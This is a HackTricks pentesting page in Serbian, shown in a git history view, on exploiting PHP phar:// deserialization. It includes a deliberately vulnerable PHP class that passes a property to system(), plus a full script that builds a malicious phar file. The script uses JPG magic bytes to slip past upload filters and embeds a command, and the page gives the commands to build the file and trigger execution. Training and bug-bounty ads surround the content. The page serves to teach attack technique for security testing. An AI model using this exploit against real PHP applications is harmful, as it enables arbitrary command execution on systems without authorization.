hacktricks/pentesting-web/file-inclusion/phar-deserialization.md

111 lines
5.1 KiB
Markdown
Raw Normal View History

# phar:// deserialization
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2024-01-01 17:15:10 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
<figure><img src="../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
2022-05-24 00:07:19 +00:00
**Bug bounty tip**: **prijavite se** za **Intigriti**, premium **bug bounty platformu koju su kreirali hakeri, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**!
2022-05-24 00:07:19 +00:00
{% embed url="https://go.intigriti.com/hacktricks" %}
2022-04-28 16:01:33 +00:00
**Phar** datoteke (PHP Archive) **sadrže meta podatke u serijalizovanom formatu**, tako da, kada se analiziraju, ovi **meta podaci** se **deserijalizuju** i možete pokušati da iskoristite **vulnerabilnost deserijalizacije** unutar **PHP** koda.
2021-03-19 23:08:07 +00:00
Najbolja stvar u vezi sa ovom karakteristikom je da će se ova deserijalizacija dogoditi čak i korišćenjem PHP funkcija koje ne izvršavaju PHP kod kao što su **file\_get\_contents(), fopen(), file() ili file\_exists(), md5\_file(), filemtime() ili filesize()**.
2021-03-19 23:08:07 +00:00
Dakle, zamislite situaciju u kojoj možete naterati PHP veb da dobije veličinu proizvoljne datoteke koristeći **`phar://`** protokol, i unutar koda pronađete **klasu** sličnu sledećoj:
2021-03-19 23:08:07 +00:00
{% code title="vunl.php" %}
```php
<?php
class AnyClass {
2024-02-10 13:11:20 +00:00
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
2021-03-19 23:08:07 +00:00
}
filesize("phar://test.phar"); #The attacker can control this path
```
{% endcode %}
Možete kreirati **phar** datoteku koja će, kada se učita, **iskoristiti ovu klasu za izvršavanje proizvoljnih komandi** sa nečim poput:
2021-03-19 23:08:07 +00:00
{% code title="create_phar.php" %}
2021-03-19 23:08:07 +00:00
```php
<?php
class AnyClass {
2024-02-10 13:11:20 +00:00
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
2021-03-19 23:08:07 +00:00
}
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
```
{% endcode %}
Obratite pažnju na to kako su **magične bajtove JPG** (`\xff\xd8\xff`) dodate na početak phar datoteke kako bi se **zaobišle** **moguće** restrikcije **upload-a** **datoteka**.\
**Kompajlirajte** `test.phar` datoteku sa:
2021-03-19 23:08:07 +00:00
```bash
php --define phar.readonly=0 create_phar.php
```
I izvršite komandu `whoami` zloupotrebljavajući ranjivi kod sa:
2021-03-19 23:08:07 +00:00
```bash
php vuln.php
```
### References
2022-05-24 00:07:19 +00:00
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
2021-03-19 23:08:07 +00:00
<figure><img src="../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
2022-04-28 16:01:33 +00:00
**Bug bounty tip**: **prijavite se** za **Intigriti**, premium **bug bounty platformu koju su kreirali hakeri, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**!
2022-05-24 00:07:19 +00:00
{% embed url="https://go.intigriti.com/hacktricks" %}
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2024-01-01 17:15:10 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}